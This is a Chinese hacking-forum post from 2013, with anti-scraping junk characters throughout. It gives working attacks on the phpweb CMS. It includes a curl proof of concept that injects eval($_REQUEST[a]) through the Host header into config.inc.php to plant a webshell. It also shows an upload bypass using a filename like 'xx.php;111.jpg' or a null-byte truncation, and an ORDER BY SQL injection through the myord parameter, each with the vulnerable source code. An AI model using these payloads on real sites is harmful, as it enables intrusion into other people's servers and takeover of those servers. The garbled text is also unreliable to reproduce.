找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2861|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:, }9 m. e: k- o
% I3 j( M$ g7 L8 |" ]
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
$ c0 b: e2 Y' \
; K$ B8 z5 a5 x% i3 s鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件! n( f9 N1 _2 h( G2 x& ~1 o$ L: L$ a8 M
鸡肋2: 有一定安全常识的站长都会删掉 install 目录+ E2 U4 N! E' n% `6 |! `

/ ^* U/ y* B' ^7 j虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
3 C4 a' W0 u8 W& m: v, x
& Q6 i4 p* \8 J分析:* k' u2 H: H' Y/ A; }$ G* E7 I) I
1 p/ g: V0 Y, J7 x* m  |' L
4 l9 G1 b/ X) A
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
+ a! ~" f% h& p1 \) U$ B  t- R 7 U, Y6 ?0 F# b/ E* g( j! S
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);) e  x6 ^0 }$ M, H% P) }' X
                                            $filestr=str_replace(" ","",$filestr);
$ I1 G7 \/ @+ p0 O1 p  h% p                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);6 G* {( a6 u+ B7 {8 c
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);
9 a3 u: R/ X, Q6 x5 R                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
+ a8 i, f# _4 v  o% [) u                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);; @7 c2 k) Y' L, i# f+ A
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
" ?6 @2 [' R$ F* }( u6 J7 H5 C4 n                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);) E: C- w) P. v) S  C
                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);3 p; M/ D) z5 H1 X/ e
) y: |) S% u5 U
                                            fwrite(fopen($ConFile,"w"),$filestr,30000);: m( J7 m" v& \! q
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
7 F: o& J1 k6 L5 s2 I6 a$ c; [$ q
5 S6 ~6 Q- C8 M6 V( w6 o/ apoc:( p/ ?8 \; d1 [0 h
/ f" I+ r) q6 e4 o
?
4 g  G* y8 K9 Y. n9 m4 `2 ?' H8 [17 E; }) t( l* s4 _
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#". Q" T6 O$ v/ H, n& r' ?! t' O
shell地址: /config.inc.php: b( N% X& q! ^5 c
跟之前的 phpcms一样 需要远程数据库# w- Z0 `: b( A7 _

+ l9 e! _8 K) a8 x——————————————————–
- P' U( _. ^- Q8 q7 _上传漏洞(需要进后台):0 n5 N# _1 \) ^* p, K
漏洞文件: /kedit/upload_cgi/upload.php
5 H$ R, g" U& r* ?这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用+ F1 |4 X/ u+ f4 e* I8 @0 A+ C
) j) _6 \7 j) j2 O

7 V1 A# u6 L# Z5 X8 H" ?9 n<?php
% _* a# J& H, b1 L    define("ROOTPATH", "../../");0 ^) @) A2 d; Q3 n
    include(ROOTPATH."includes/admin.inc.php");
! h2 J0 R0 e$ D7 p; u% \! v( U9 b+ z, I    NeedAuth(0);
- @9 K. A, ^& F1 `: V ' m, }' j: w9 ^4 D
    $dt=date("Ymd",time());7 W" o- B3 W/ M1 [  z) ]
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){0 ]& j" {) Y( _
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);  m; m& \9 i3 C3 g3 o' v
    }% w5 N2 Y9 ?+ n* h- p

0 K  M1 C5 i8 ]& _! K" ^    //文件保存目录路径2 I9 W- V9 |: P7 _+ b
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
- L8 i0 L1 Y$ @' X9 G! D    echo $save_path;7 N1 S" O7 k3 I: i$ K& [3 q4 I
    //文件保存目录URL
# [3 Q, Z# U  t/ d3 }2 u    $save_url = '../../'.$_POST['attachPath'].$dt.'/';, ^! H, V% S: ?( w; m
. X$ m7 f: X$ G0 N/ u4 ^
    //定义允许上传的文件扩展名
8 D# k& U% o% ~6 ~; ^    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
+ `2 G* a5 C5 y$ } + F, p4 c8 P: t' R; o
    //最大文件大小! K5 s+ o9 G. v9 X( e" s+ q! n
    $max_size = 1000000;
) F& z0 Q) U$ @0 { % G( _3 r3 Y1 D  X5 \' _
    //更改目录权限
9 L9 D, s6 r  y* j( J    @mkdir($save_path, 0777);  B5 Z' ?  t( i  @
! S2 i  }" E  G' G0 r6 A4 m
    //文件的全部路径$ v8 c' [+ p: d; W
    $file_path = $save_path.$_POST['fileName'];   //保存文件名2 U0 E: \' v5 G6 y( @& H
) k2 F  m7 J- P3 T
    //文件URL' w3 U0 n( f* q- N$ e5 G
    $file_url = $save_url.$_POST['fileName'];
2 e/ J9 q# r) q2 E) @$ t//有上传文件时5 M! X  {7 i% V' @  l
    if (empty($_FILES) === false) {$ Z% ?6 q# v" A7 T( K

8 z0 c2 [( N2 Q" H. t            //原文件名! P3 d! A  \, H& w
            $file_name = $_FILES['fileData']['name'];' h0 `3 [) T/ N
            //服务器上临时文件名
( B* P9 N: J6 l& R            $tmp_name = $_FILES['fileData']['tmp_name'];+ ^0 P' H" [0 c0 j. h# x0 i
            //文件大小( M% Q+ K6 e9 e, [1 k6 ?
            $file_size = $_FILES['fileData']['size'];% Z- t9 k. W1 h; G* q
            //检查目录" d! S5 K" \+ m0 ?) [$ z5 m
            if (@is_dir($save_path) === false) {
8 u1 {7 w4 W3 w1 d; ]6 ]2 y# g                    alert("上传目录不存在。");
# j- ?- ~& S  @  B+ M; [            }
" M/ ]$ d; B  g3 U9 t6 A5 g( {            //检查目录写权限0 k1 T; g  A  @  |: a9 N
            if (@is_writable($save_path) === false) {3 v3 l& C3 F5 S3 A  V$ ^; I# s5 [
                    alert("上传目录没有写权限。");* d& t1 l. S; ^; m5 w
            }0 G2 A5 N) x1 G- a: A
            //检查是否已上传
' m, {5 ]3 G: V$ D  ~( `" a            if (@is_uploaded_file($tmp_name) === false) {
8 q" u4 X4 W# J3 n; l  L2 O0 H                    alert("临时文件可能不是上传文件。");/ @9 t9 T0 D. \  @# u$ C
            }
2 b. T, s' Y1 u, e3 g            //检查文件大小- j* d2 p" l' E, ]: d' }9 C
            if ($file_size > $max_size) {
, M1 G  X! l1 x& P                    alert("上传文件大小超过限制。");
; D' J2 D& L4 x5 Z            }  |( f# \% l; n! P% w) f
            //获得文件扩展名
, j$ Q, _4 S; u: z. M9 y$ _            $temp_arr = explode(".", $_POST['fileName']);. z. y) V1 `  `. ]  w2 Z
            $file_ext = array_pop($temp_arr);
( ~! D* m* `: [5 k3 }            $file_ext = trim($file_ext);1 ~* D/ U( U7 x* w# d3 A
            $file_ext = strtolower($file_ext);' m* _! ^) ~0 M9 n8 X

- ?4 }( z+ I; @& E' q1 U            //检查扩展名   
0 w) S% e  w% l8 ~            if (in_array($file_ext, $ext_arr) === false) {     
( m. ?  Q% j: x                    alert("上传文件扩展名是不允许的扩展名。");2 D% @' N* x8 m
            }
. v2 h/ f) g; D4 ^: S/ i3 ]* y9 D 1 L5 @2 v  Q3 b( T8 T. x9 g
            //移动文件   
) h4 z" [5 W9 p. ?+ d1 Z            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^9 t# r  r2 j+ \* i4 ?7 E7 Z* \
            if (move_uploaded_file($tmp_name, $file_path) === false) {
5 ^. @* g- Y* ~4 o                    alert("上传文件失败。");
- T' D: L( y& L% o. ^4 F5 C' z8 r            }1 s# ?1 r3 C2 h0 G
7 b1 v. ]/ d4 e2 C0 V
            @chmod($file_path,0666);
3 s& t" b2 ^6 O9 Y
  \' E3 ~% I) b) \) @5 l& g% \1 H    ?>
; B7 E6 x$ @( Z- h抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227. J/ J9 w% T  g9 J; G4 V
7 o4 Z/ d0 [* c+ s$ k) N3 @7 y
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
' u4 l# b: J# _" f" _
1 M: _1 ]# L' i6 |# e3 z2 W( _——————————————————0 g5 v: ~* w6 I4 v" f2 r! R# f
注入漏洞:
* Q, P- S  q/ L6 \7 z5 |漏洞文件:search/module/search.php" i/ V5 S  ^( |& s& g8 R/ F: `
/search/index.php?key=1&myord=1 [sqlinjection]; h! K/ r9 M; }3 r/ g4 \
5 {1 j; ^0 T3 ~" z& e- a
9 ?% \4 [  G& T4 B& c
<?php/ F! g: @9 a4 m4 G9 X) B
   //       ... 省略 n 行...! k5 n) P/ u6 Z+ ]
   //第18行:- T$ `/ Y( m5 I7 i
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响2 J" E: B5 h3 K. p6 p
           $page=htmlspecialchars($_GET["page"]);3 ^" p; X9 k4 b1 K: @
           $myord=htmlspecialchars($_GET["myord"]);6 [" M6 A" V) ^
$ V% r* \/ m2 P5 U
   //       ... 省略 n 行...
) w! M% I" x0 T   $key,$myord 两个参数带入查询3 H+ W; ]0 a/ w4 X
   //第47行 $key:
* p4 r9 F3 U0 r- w! E+ i " |  \5 W, }3 H
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
9 ]. q" p' v& q8 N1 w
& ]" }! m- C, m" l0 W& ^! L   //第197行 $myord
0 j% k8 U8 |; u: w4 j) d* v) Q1 A   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
* W3 k4 i" ]5 D' D! }% ?! b
) d" b& Y  W, [; t- a   ?>2 l: E4 P( ~& O( Q& ~) o6 a
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表